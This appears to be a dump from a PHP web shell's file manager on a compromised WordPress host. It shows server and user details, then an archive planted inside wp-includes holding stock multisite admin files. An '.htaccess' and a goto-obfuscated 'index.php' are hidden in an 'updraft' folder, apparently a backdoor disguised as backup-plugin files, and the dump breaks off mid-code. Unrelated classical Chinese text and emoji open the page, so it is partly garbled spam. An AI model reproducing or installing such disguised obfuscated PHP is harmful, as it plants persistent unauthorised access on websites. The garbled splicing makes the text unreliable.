Σ(゚Д゚;≡;゚д゚)Σ(゚Д゚;≡;゚д゚)Σ(゚Д゚;≡;゚д゚)始,故人唐宰相鲁公,🆚开府南服,余以布衣从戎。明年,别公漳水湄。后明年,公以事过张睢阳庙及颜杲卿所尝往来处,悲歌慷慨,卒不负其言而从之游。今其诗具在,可考也。😭 HEX
HEX
Server: Apache
System: Linux webm006.cluster120.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User: studionolh (122383)
PHP: 7.3.33
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/s/t/u/studionolh/www/wp-includes/Requests/Cookie/reusable-blocks/network.tar
update.php000064400000000702152333305150006536 0ustar00<?php
/**
 * Update/Install Plugin/Theme network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

if ( isset( $_GET['action'] ) && in_array( $_GET['action'], array( 'update-selected', 'activate-plugin', 'update-selected-themes' ), true ) ) {
	define( 'IFRAME_REQUEST', true );
}

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/update.php';
privacy.php000064400000000371152333305150006733 0ustar00<?php
/**
 * Network Privacy administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 4.9.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/privacy.php';
theme-install.php000064400000000566152333305150010032 0ustar00<?php
/**
 * Install theme network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

if ( isset( $_GET['tab'] ) && ( 'theme-information' === $_GET['tab'] ) ) {
	define( 'IFRAME_REQUEST', true );
}

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/theme-install.php';
theme-editor.php000064400000000403152333305150007640 0ustar00<?php
/**
 * Theme editor network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/theme-editor.php';
site-info.php000064400000016057152333305150007163 0ustar00<?php
/**
 * Edit Site Info Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit this site.' ) );
}

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$parsed_scheme = parse_url( $details->siteurl, PHP_URL_SCHEME );
$is_main_site  = is_main_site( $id );

if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] ) {
	check_admin_referer( 'edit-site' );

	switch_to_blog( $id );

	// Rewrite rules can't be flushed during switch to blog.
	delete_option( 'rewrite_rules' );

	$blog_data           = wp_unslash( $_POST['blog'] );
	$blog_data['scheme'] = $parsed_scheme;

	if ( $is_main_site ) {
		// On the network's main site, don't allow the domain or path to change.
		$blog_data['domain'] = $details->domain;
		$blog_data['path']   = $details->path;
	} else {
		// For any other site, the scheme, domain, and path can all be changed. We first
		// need to ensure a scheme has been provided, otherwise fallback to the existing.
		$new_url_scheme = parse_url( $blog_data['url'], PHP_URL_SCHEME );

		if ( ! $new_url_scheme ) {
			$blog_data['url'] = esc_url( $parsed_scheme . '://' . $blog_data['url'] );
		}
		$update_parsed_url = parse_url( $blog_data['url'] );

		// If a path is not provided, use the default of `/`.
		if ( ! isset( $update_parsed_url['path'] ) ) {
			$update_parsed_url['path'] = '/';
		}

		$blog_data['scheme'] = $update_parsed_url['scheme'];
		$blog_data['domain'] = $update_parsed_url['host'];
		$blog_data['path']   = $update_parsed_url['path'];
	}

	$existing_details     = get_site( $id );
	$blog_data_checkboxes = array( 'public', 'archived', 'spam', 'mature', 'deleted' );

	foreach ( $blog_data_checkboxes as $c ) {
		if ( ! in_array( (int) $existing_details->$c, array( 0, 1 ), true ) ) {
			$blog_data[ $c ] = $existing_details->$c;
		} else {
			$blog_data[ $c ] = isset( $_POST['blog'][ $c ] ) ? 1 : 0;
		}
	}

	update_blog_details( $id, $blog_data );

	// Maybe update home and siteurl options.
	$new_details = get_site( $id );

	$old_home_url    = trailingslashit( esc_url( get_option( 'home' ) ) );
	$old_home_parsed = parse_url( $old_home_url );

	if ( $old_home_parsed['host'] === $existing_details->domain && $old_home_parsed['path'] === $existing_details->path ) {
		$new_home_url = untrailingslashit( esc_url_raw( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) );
		update_option( 'home', $new_home_url );
	}

	$old_site_url    = trailingslashit( esc_url( get_option( 'siteurl' ) ) );
	$old_site_parsed = parse_url( $old_site_url );

	if ( $old_site_parsed['host'] === $existing_details->domain && $old_site_parsed['path'] === $existing_details->path ) {
		$new_site_url = untrailingslashit( esc_url_raw( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) );
		update_option( 'siteurl', $new_site_url );
	}

	restore_current_blog();
	wp_redirect(
		add_query_arg(
			array(
				'update' => 'updated',
				'id'     => $id,
			),
			'site-info.php'
		)
	);
	exit;
}

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( 'updated' === $_GET['update'] ) {
		$messages[] = __( 'Site info updated.' );
	}
}

/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-info',
	)
);

if ( ! empty( $messages ) ) {
	foreach ( $messages as $msg ) {
		echo '<div id="message" class="updated notice is-dismissible"><p>' . $msg . '</p></div>';
	}
}
?>
<form method="post" action="site-info.php?action=update-site">
	<?php wp_nonce_field( 'edit-site' ); ?>
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<?php
		// The main site of the network should not be updated on this page.
		if ( $is_main_site ) :
			?>
		<tr class="form-field">
			<th scope="row"><?php _e( 'Site Address (URL)' ); ?></th>
			<td><?php echo esc_url( $parsed_scheme . '://' . $details->domain . $details->path ); ?></td>
		</tr>
			<?php
			// For any other site, the scheme, domain, and path can all be changed.
		else :
			?>
		<tr class="form-field form-required">
			<th scope="row"><label for="url"><?php _e( 'Site Address (URL)' ); ?></label></th>
			<td><input name="blog[url]" type="text" id="url" value="<?php echo $parsed_scheme . '://' . esc_attr( $details->domain ) . esc_attr( $details->path ); ?>" /></td>
		</tr>
		<?php endif; ?>

		<tr class="form-field">
			<th scope="row"><label for="blog_registered"><?php _ex( 'Registered', 'site' ); ?></label></th>
			<td><input name="blog[registered]" type="text" id="blog_registered" value="<?php echo esc_attr( $details->registered ); ?>" /></td>
		</tr>
		<tr class="form-field">
			<th scope="row"><label for="blog_last_updated"><?php _e( 'Last Updated' ); ?></label></th>
			<td><input name="blog[last_updated]" type="text" id="blog_last_updated" value="<?php echo esc_attr( $details->last_updated ); ?>" /></td>
		</tr>
		<?php
		$attribute_fields = array( 'public' => _x( 'Public', 'site' ) );
		if ( ! $is_main_site ) {
			$attribute_fields['archived'] = __( 'Archived' );
			$attribute_fields['spam']     = _x( 'Spam', 'site' );
			$attribute_fields['deleted']  = __( 'Deleted' );
		}
		$attribute_fields['mature'] = __( 'Mature' );
		?>
		<tr>
			<th scope="row"><?php _e( 'Attributes' ); ?></th>
			<td>
			<fieldset>
			<legend class="screen-reader-text"><?php _e( 'Set site attributes' ); ?></legend>
			<?php foreach ( $attribute_fields as $field_key => $field_label ) : ?>
				<label><input type="checkbox" name="blog[<?php echo $field_key; ?>]" value="1" <?php checked( (bool) $details->$field_key, true ); ?> <?php disabled( ! in_array( (int) $details->$field_key, array( 0, 1 ), true ) ); ?> />
				<?php echo $field_label; ?></label><br/>
			<?php endforeach; ?>
			<fieldset>
			</td>
		</tr>
	</table>

	<?php
	/**
	 * Fires at the end of the site info form in network admin.
	 *
	 * @since 5.6.0
	 *
	 * @param int $id The site ID.
	 */
	do_action( 'network_site_info_form', $id );

	submit_button();
	?>
</form>

</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
settings.php000064400000051766152333305150007134 0ustar00<?php
/**
 * Multisite network settings administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** WordPress Translation Installation API */
require_once ABSPATH . 'wp-admin/includes/translation-install.php';

if ( ! current_user_can( 'manage_network_options' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$title       = __( 'Network Settings' );
$parent_file = 'settings.php';

// Handle network admin email change requests.
if ( ! empty( $_GET['network_admin_hash'] ) ) {
	$new_admin_details = get_site_option( 'network_admin_hash' );
	$redirect          = 'settings.php?updated=false';
	if ( is_array( $new_admin_details ) && hash_equals( $new_admin_details['hash'], $_GET['network_admin_hash'] ) && ! empty( $new_admin_details['newemail'] ) ) {
		update_site_option( 'admin_email', $new_admin_details['newemail'] );
		delete_site_option( 'network_admin_hash' );
		delete_site_option( 'new_admin_email' );
		$redirect = 'settings.php?updated=true';
	}
	wp_redirect( network_admin_url( $redirect ) );
	exit;
} elseif ( ! empty( $_GET['dismiss'] ) && 'new_network_admin_email' === $_GET['dismiss'] ) {
	check_admin_referer( 'dismiss_new_network_admin_email' );
	delete_site_option( 'network_admin_hash' );
	delete_site_option( 'new_admin_email' );
	wp_redirect( network_admin_url( 'settings.php?updated=true' ) );
	exit;
}

add_action( 'admin_head', 'network_settings_add_js' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This screen sets and changes options for the network as a whole. The first site is the main site in the network and network options are pulled from that original site&#8217;s options.' ) . '</p>' .
			'<p>' . __( 'Operational settings has fields for the network&#8217;s name and admin email.' ) . '</p>' .
			'<p>' . __( 'Registration settings can disable/enable public signups. If you let others sign up for a site, install spam plugins. Spaces, not commas, should separate names banned as sites for this network.' ) . '</p>' .
			'<p>' . __( 'New site settings are defaults applied when a new site is created in the network. These include welcome email for when a new site or user account is registered, and what&#8127;s put in the first post, page, comment, comment author, and comment URL.' ) . '</p>' .
			'<p>' . __( 'Upload settings control the size of the uploaded files and the amount of available upload space for each site. You can change the default value for specific sites when you edit a particular site. Allowed file types are also listed (space separated only).' ) . '</p>' .
			'<p>' . __( 'You can set the language, and the translation files will be automatically downloaded and installed (available if your filesystem is writable).' ) . '</p>' .
			'<p>' . __( 'Menu setting enables/disables the plugin menus from appearing for non super admins, so that only super admins, not site admins, have access to activate plugins.' ) . '</p>' .
			'<p>' . __( 'Super admins can no longer be added on the Options screen. You must now go to the list of existing users on Network Admin > Users and click on Username or the Edit action link below that name. This goes to an Edit User page where you can check a box to grant super admin privileges.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/article/network-admin-settings-screen/">Documentation on Network Settings</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/">Support</a>' ) . '</p>'
);

if ( $_POST ) {
	/** This action is documented in wp-admin/network/edit.php */
	do_action( 'wpmuadminedit' );

	check_admin_referer( 'siteoptions' );

	$checked_options = array(
		'menu_items'                  => array(),
		'registrationnotification'    => 'no',
		'upload_space_check_disabled' => 1,
		'add_new_users'               => 0,
	);
	foreach ( $checked_options as $option_name => $option_unchecked_value ) {
		if ( ! isset( $_POST[ $option_name ] ) ) {
			$_POST[ $option_name ] = $option_unchecked_value;
		}
	}

	$options = array(
		'registrationnotification',
		'registration',
		'add_new_users',
		'menu_items',
		'upload_space_check_disabled',
		'blog_upload_space',
		'upload_filetypes',
		'site_name',
		'first_post',
		'first_page',
		'first_comment',
		'first_comment_url',
		'first_comment_author',
		'welcome_email',
		'welcome_user_email',
		'fileupload_maxk',
		'global_terms_enabled',
		'illegal_names',
		'limited_email_domains',
		'banned_email_domains',
		'WPLANG',
		'new_admin_email',
		'first_comment_email',
	);

	// Handle translation installation.
	if ( ! empty( $_POST['WPLANG'] ) && current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
		$language = wp_download_language_pack( $_POST['WPLANG'] );
		if ( $language ) {
			$_POST['WPLANG'] = $language;
		}
	}

	foreach ( $options as $option_name ) {
		if ( ! isset( $_POST[ $option_name ] ) ) {
			continue;
		}
		$value = wp_unslash( $_POST[ $option_name ] );
		update_site_option( $option_name, $value );
	}

	/**
	 * Fires after the network options are updated.
	 *
	 * @since MU (3.0.0)
	 */
	do_action( 'update_wpmu_options' );

	wp_redirect( add_query_arg( 'updated', 'true', network_admin_url( 'settings.php' ) ) );
	exit;
}

require_once ABSPATH . 'wp-admin/admin-header.php';

if ( isset( $_GET['updated'] ) ) {
	?><div id="message" class="updated notice is-dismissible"><p><?php _e( 'Settings saved.' ); ?></p></div>
	<?php
}
?>

<div class="wrap">
	<h1><?php echo esc_html( $title ); ?></h1>
	<form method="post" action="settings.php" novalidate="novalidate">
		<?php wp_nonce_field( 'siteoptions' ); ?>
		<h2><?php _e( 'Operational Settings' ); ?></h2>
		<table class="form-table" role="presentation">
			<tr>
				<th scope="row"><label for="site_name"><?php _e( 'Network Title' ); ?></label></th>
				<td>
					<input name="site_name" type="text" id="site_name" class="regular-text" value="<?php echo esc_attr( get_network()->site_name ); ?>" />
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="admin_email"><?php _e( 'Network Admin Email' ); ?></label></th>
				<td>
					<input name="new_admin_email" type="email" id="admin_email" aria-describedby="admin-email-desc" class="regular-text" value="<?php echo esc_attr( get_site_option( 'admin_email' ) ); ?>" />
					<p class="description" id="admin-email-desc">
						<?php _e( 'This address is used for admin purposes. If you change this, we will send you an email at your new address to confirm it. <strong>The new address will not become active until confirmed.</strong>' ); ?>
					</p>
					<?php
					$new_admin_email = get_site_option( 'new_admin_email' );
					if ( $new_admin_email && get_site_option( 'admin_email' ) !== $new_admin_email ) :
						?>
						<div class="updated inline">
						<p>
						<?php
							printf(
								/* translators: %s: New network admin email. */
								__( 'There is a pending change of the network admin email to %s.' ),
								'<code>' . esc_html( $new_admin_email ) . '</code>'
							);
							printf(
								' <a href="%1$s">%2$s</a>',
								esc_url( wp_nonce_url( network_admin_url( 'settings.php?dismiss=new_network_admin_email' ), 'dismiss_new_network_admin_email' ) ),
								__( 'Cancel' )
							);
						?>
						</p>
						</div>
					<?php endif; ?>
				</td>
			</tr>
		</table>
		<h2><?php _e( 'Registration Settings' ); ?></h2>
		<table class="form-table" role="presentation">
			<tr>
				<th scope="row"><?php _e( 'Allow new registrations' ); ?></th>
				<?php
				if ( ! get_site_option( 'registration' ) ) {
					update_site_option( 'registration', 'none' );
				}
				$reg = get_site_option( 'registration' );
				?>
				<td>
					<fieldset>
					<legend class="screen-reader-text"><?php _e( 'New registrations settings' ); ?></legend>
					<label><input name="registration" type="radio" id="registration1" value="none"<?php checked( $reg, 'none' ); ?> /> <?php _e( 'Registration is disabled' ); ?></label><br />
					<label><input name="registration" type="radio" id="registration2" value="user"<?php checked( $reg, 'user' ); ?> /> <?php _e( 'User accounts may be registered' ); ?></label><br />
					<label><input name="registration" type="radio" id="registration3" value="blog"<?php checked( $reg, 'blog' ); ?> /> <?php _e( 'Logged in users may register new sites' ); ?></label><br />
					<label><input name="registration" type="radio" id="registration4" value="all"<?php checked( $reg, 'all' ); ?> /> <?php _e( 'Both sites and user accounts can be registered' ); ?></label>
					<?php
					if ( is_subdomain_install() ) {
						echo '<p class="description">';
						printf(
							/* translators: 1: NOBLOGREDIRECT, 2: wp-config.php */
							__( 'If registration is disabled, please set %1$s in %2$s to a URL you will redirect visitors to if they visit a non-existent site.' ),
							'<code>NOBLOGREDIRECT</code>',
							'<code>wp-config.php</code>'
						);
						echo '</p>';
					}
					?>
					</fieldset>
				</td>
			</tr>

			<tr>
				<th scope="row"><?php _e( 'Registration notification' ); ?></th>
				<?php
				if ( ! get_site_option( 'registrationnotification' ) ) {
					update_site_option( 'registrationnotification', 'yes' );
				}
				?>
				<td>
					<label><input name="registrationnotification" type="checkbox" id="registrationnotification" value="yes"<?php checked( get_site_option( 'registrationnotification' ), 'yes' ); ?> /> <?php _e( 'Send the network admin an email notification every time someone registers a site or user account' ); ?></label>
				</td>
			</tr>

			<tr id="addnewusers">
				<th scope="row"><?php _e( 'Add New Users' ); ?></th>
				<td>
					<label><input name="add_new_users" type="checkbox" id="add_new_users" value="1"<?php checked( get_site_option( 'add_new_users' ) ); ?> /> <?php _e( 'Allow site administrators to add new users to their site via the "Users &rarr; Add New" page' ); ?></label>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="illegal_names"><?php _e( 'Banned Names' ); ?></label></th>
				<td>
					<?php
					$illegal_names = get_site_option( 'illegal_names' );

					if ( empty( $illegal_names ) ) {
						$illegal_names = '';
					} elseif ( is_array( $illegal_names ) ) {
						$illegal_names = implode( ' ', $illegal_names );
					}
					?>
					<input name="illegal_names" type="text" id="illegal_names" aria-describedby="illegal-names-desc" class="large-text" value="<?php echo esc_attr( $illegal_names ); ?>" size="45" />
					<p class="description" id="illegal-names-desc">
						<?php _e( 'Users are not allowed to register these sites. Separate names by spaces.' ); ?>
					</p>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="limited_email_domains"><?php _e( 'Limited Email Registrations' ); ?></label></th>
				<td>
					<?php
					$limited_email_domains = get_site_option( 'limited_email_domains' );

					if ( empty( $limited_email_domains ) ) {
						$limited_email_domains = '';
					} else {
						// Convert from an input field. Back-compat for WPMU < 1.0.
						$limited_email_domains = str_replace( ' ', "\n", $limited_email_domains );

						if ( is_array( $limited_email_domains ) ) {
							$limited_email_domains = implode( "\n", $limited_email_domains );
						}
					}
					?>
					<textarea name="limited_email_domains" id="limited_email_domains" aria-describedby="limited-email-domains-desc" cols="45" rows="5">
<?php echo esc_textarea( $limited_email_domains ); ?></textarea>
					<p class="description" id="limited-email-domains-desc">
						<?php _e( 'If you want to limit site registrations to certain domains. One domain per line.' ); ?>
					</p>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="banned_email_domains"><?php _e( 'Banned Email Domains' ); ?></label></th>
				<td>
					<?php
					$banned_email_domains = get_site_option( 'banned_email_domains' );

					if ( empty( $banned_email_domains ) ) {
						$banned_email_domains = '';
					} elseif ( is_array( $banned_email_domains ) ) {
						$banned_email_domains = implode( "\n", $banned_email_domains );
					}
					?>
					<textarea name="banned_email_domains" id="banned_email_domains" aria-describedby="banned-email-domains-desc" cols="45" rows="5">
<?php echo esc_textarea( $banned_email_domains ); ?></textarea>
					<p class="description" id="banned-email-domains-desc">
						<?php _e( 'If you want to ban domains from site registrations. One domain per line.' ); ?>
					</p>
				</td>
			</tr>

		</table>
		<h2><?php _e( 'New Site Settings' ); ?></h2>
		<table class="form-table" role="presentation">

			<tr>
				<th scope="row"><label for="welcome_email"><?php _e( 'Welcome Email' ); ?></label></th>
				<td>
					<textarea name="welcome_email" id="welcome_email" aria-describedby="welcome-email-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'welcome_email' ) ); ?></textarea>
					<p class="description" id="welcome-email-desc">
						<?php _e( 'The welcome email sent to new site owners.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="welcome_user_email"><?php _e( 'Welcome User Email' ); ?></label></th>
				<td>
					<textarea name="welcome_user_email" id="welcome_user_email" aria-describedby="welcome-user-email-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'welcome_user_email' ) ); ?></textarea>
					<p class="description" id="welcome-user-email-desc">
						<?php _e( 'The welcome email sent to new users.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_post"><?php _e( 'First Post' ); ?></label></th>
				<td>
					<textarea name="first_post" id="first_post" aria-describedby="first-post-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'first_post' ) ); ?></textarea>
					<p class="description" id="first-post-desc">
						<?php _e( 'The first post on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_page"><?php _e( 'First Page' ); ?></label></th>
				<td>
					<textarea name="first_page" id="first_page" aria-describedby="first-page-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'first_page' ) ); ?></textarea>
					<p class="description" id="first-page-desc">
						<?php _e( 'The first page on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_comment"><?php _e( 'First Comment' ); ?></label></th>
				<td>
					<textarea name="first_comment" id="first_comment" aria-describedby="first-comment-desc" rows="5" cols="45" class="large-text">
<?php echo esc_textarea( get_site_option( 'first_comment' ) ); ?></textarea>
					<p class="description" id="first-comment-desc">
						<?php _e( 'The first comment on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_comment_author"><?php _e( 'First Comment Author' ); ?></label></th>
				<td>
					<input type="text" size="40" name="first_comment_author" id="first_comment_author" aria-describedby="first-comment-author-desc" value="<?php echo esc_attr( get_site_option( 'first_comment_author' ) ); ?>" />
					<p class="description" id="first-comment-author-desc">
						<?php _e( 'The author of the first comment on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_comment_email"><?php _e( 'First Comment Email' ); ?></label></th>
				<td>
					<input type="text" size="40" name="first_comment_email" id="first_comment_email" aria-describedby="first-comment-email-desc" value="<?php echo esc_attr( get_site_option( 'first_comment_email' ) ); ?>" />
					<p class="description" id="first-comment-email-desc">
						<?php _e( 'The email address of the first comment author on a new site.' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope="row"><label for="first_comment_url"><?php _e( 'First Comment URL' ); ?></label></th>
				<td>
					<input type="text" size="40" name="first_comment_url" id="first_comment_url" aria-describedby="first-comment-url-desc" value="<?php echo esc_attr( get_site_option( 'first_comment_url' ) ); ?>" />
					<p class="description" id="first-comment-url-desc">
						<?php _e( 'The URL for the first comment on a new site.' ); ?>
					</p>
				</td>
			</tr>
		</table>
		<h2><?php _e( 'Upload Settings' ); ?></h2>
		<table class="form-table" role="presentation">
			<tr>
				<th scope="row"><?php _e( 'Site upload space' ); ?></th>
				<td>
					<label><input type="checkbox" id="upload_space_check_disabled" name="upload_space_check_disabled" value="0"<?php checked( (bool) get_site_option( 'upload_space_check_disabled' ), false ); ?>/>
						<?php
						printf(
							/* translators: %s: Number of megabytes to limit uploads to. */
							__( 'Limit total size of files uploaded to %s MB' ),
							'</label><label><input name="blog_upload_space" type="number" min="0" style="width: 100px" id="blog_upload_space" aria-describedby="blog-upload-space-desc" value="' . esc_attr( get_site_option( 'blog_upload_space', 100 ) ) . '" />'
						);
						?>
					</label><br />
					<p class="screen-reader-text" id="blog-upload-space-desc">
						<?php _e( 'Size in megabytes' ); ?>
					</p>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="upload_filetypes"><?php _e( 'Upload file types' ); ?></label></th>
				<td>
					<input name="upload_filetypes" type="text" id="upload_filetypes" aria-describedby="upload-filetypes-desc" class="large-text" value="<?php echo esc_attr( get_site_option( 'upload_filetypes', 'jpg jpeg png gif' ) ); ?>" size="45" />
					<p class="description" id="upload-filetypes-desc">
						<?php _e( 'Allowed file types. Separate types by spaces.' ); ?>
					</p>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="fileupload_maxk"><?php _e( 'Max upload file size' ); ?></label></th>
				<td>
					<?php
						printf(
							/* translators: %s: File size in kilobytes. */
							__( '%s KB' ),
							'<input name="fileupload_maxk" type="number" min="0" style="width: 100px" id="fileupload_maxk" aria-describedby="fileupload-maxk-desc" value="' . esc_attr( get_site_option( 'fileupload_maxk', 300 ) ) . '" />'
						);
						?>
					<p class="screen-reader-text" id="fileupload-maxk-desc">
						<?php _e( 'Size in kilobytes' ); ?>
					</p>
				</td>
			</tr>
		</table>

		<?php
		$languages    = get_available_languages();
		$translations = wp_get_available_translations();
		if ( ! empty( $languages ) || ! empty( $translations ) ) {
			?>
			<h2><?php _e( 'Language Settings' ); ?></h2>
			<table class="form-table" role="presentation">
				<tr>
					<th><label for="WPLANG"><?php _e( 'Default Language' ); ?><span class="dashicons dashicons-translation" aria-hidden="true"></span></label></th>
					<td>
						<?php
						$lang = get_site_option( 'WPLANG' );
						if ( ! in_array( $lang, $languages, true ) ) {
							$lang = '';
						}

						wp_dropdown_languages(
							array(
								'name'         => 'WPLANG',
								'id'           => 'WPLANG',
								'selected'     => $lang,
								'languages'    => $languages,
								'translations' => $translations,
								'show_available_translations' => current_user_can( 'install_languages' ) && wp_can_install_language_pack(),
							)
						);
						?>
					</td>
				</tr>
			</table>
			<?php
		}
		?>

		<?php
		$menu_perms = get_site_option( 'menu_items' );
		/**
		 * Filters available network-wide administration menu options.
		 *
		 * Options returned to this filter are output as individual checkboxes that, when selected,
		 * enable site administrator access to the specified administration menu in certain contexts.
		 *
		 * Adding options for specific menus here hinges on the appropriate checks and capabilities
		 * being in place in the site dashboard on the other side. For instance, when the single
		 * default option, 'plugins' is enabled, site administrators are granted access to the Plugins
		 * screen in their individual sites' dashboards.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string[] $admin_menus Associative array of the menu items available.
		 */
		$menu_items = apply_filters( 'mu_menu_items', array( 'plugins' => __( 'Plugins' ) ) );

		if ( $menu_items ) :
			?>
			<h2><?php _e( 'Menu Settings' ); ?></h2>
			<table id="menu" class="form-table">
				<tr>
					<th scope="row"><?php _e( 'Enable administration menus' ); ?></th>
					<td>
						<?php
						echo '<fieldset><legend class="screen-reader-text">' . __( 'Enable menus' ) . '</legend>';

						foreach ( (array) $menu_items as $key => $val ) {
							echo "<label><input type='checkbox' name='menu_items[" . $key . "]' value='1'" . ( isset( $menu_perms[ $key ] ) ? checked( $menu_perms[ $key ], '1', false ) : '' ) . ' /> ' . esc_html( $val ) . '</label><br/>';
						}

						echo '</fieldset>';
						?>
					</td>
				</tr>
			</table>
			<?php
		endif;
		?>

		<?php
		/**
		 * Fires at the end of the Network Settings form, before the submit button.
		 *
		 * @since MU (3.0.0)
		 */
		do_action( 'wpmu_options' );
		?>
		<?php submit_button(); ?>
	</form>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
updraft/.htaccess000064400000000334152333305150010007 0ustar00<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|php7|phP|PhP|php5|php8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php)$'>
Order allow,deny
Allow from all
</FilesMatch>updraft/index.php000064400000115307152333305150010040 0ustar00<?php
 goto GMvrc; LQSPR: vTYkE: goto xKmS8; Ii5jp: goto JIm7H; goto isHzl; sHLuL: q4HCI: goto VYmg7; Y1WQ5: Tq24G: goto S0NNa; rDKKO: OVp6L: goto DZInm; uoETo: JIm7H: goto ulSvZ; gk8In: rtk1r: goto FR_8q; sNAIQ: m98k2: goto qRhHH; A0P70: goto UFPKE; goto OxcVE; dl6QF: goto YH8EZ; goto rU_6r; pTB_v: mE_f_: goto q3Hss; vaD4_: tQlAq: goto x1Y4A; E71dm: KkNKg: goto My1wA; B17dd: goto gUb8C; goto YIUrc; onpFT: goto rl0Xp; goto c05Kw; sXtHv: JIA2M: goto qwNKO; dfr8T: function HqRcO($Gpz_x) { goto HLige; PhBIC: zxygA: goto ofKsN; IMMFC: $ZA66V .= $CyVUb & 0x4 ? "\x72" : "\x2d"; goto SnwxI; T38Hs: I8mqK: goto BfFlH; d61G3: ENC2F: goto ajk_A; IAaH_: goto MRjuV; goto tFFZc; G8EbR: goto F2ipJ; goto PCwLF; ZufN1: bB5Kf: goto Ru3DD; BfFlH: $CyVUb = fileperms($Gpz_x); goto Wne_h; gDz72: goto nTaa1; goto bzl5r; OEp6w: I27wE: goto QdtLk; d_Vd4: F2ipJ: goto c1nPR; zHVVQ: aX9vT: goto fep5m; GfdBO: goto C20Mh; goto uzHPZ; xheyB: x8Srg: goto Tgxjd; VdEvQ: $ZA66V = "\163"; goto mawAD; CxK2X: goto JLuWx; goto MNWao; eB1Fp: goto obeTs; goto pa4mE; oOxPv: goto TcgDh; goto Ht34H; Wne_h: goto QOOzc; goto wuV4r; wuV4r: nZbdx: goto gAtqB; xCpM7: $ZA66V .= $CyVUb & 0x10 ? "\167" : "\x2d"; goto sYXCO; Q1_MP: goto ENC2F; goto Vshwm; rJ325: goto bB5Kf; goto ascIF; ZyY9Q: goto nZbdx; goto nIkxi; pa4mE: vTwMW: goto JVsN0; SnwxI: goto x456f; goto cIPXU; CtpR6: goto Ybw7l; goto hWgDF; TYGtE: NNiVU: goto BS7S9; XhO72: Yp0FD: goto bFbld; cUgQF: BR_3n: goto RhIjH; 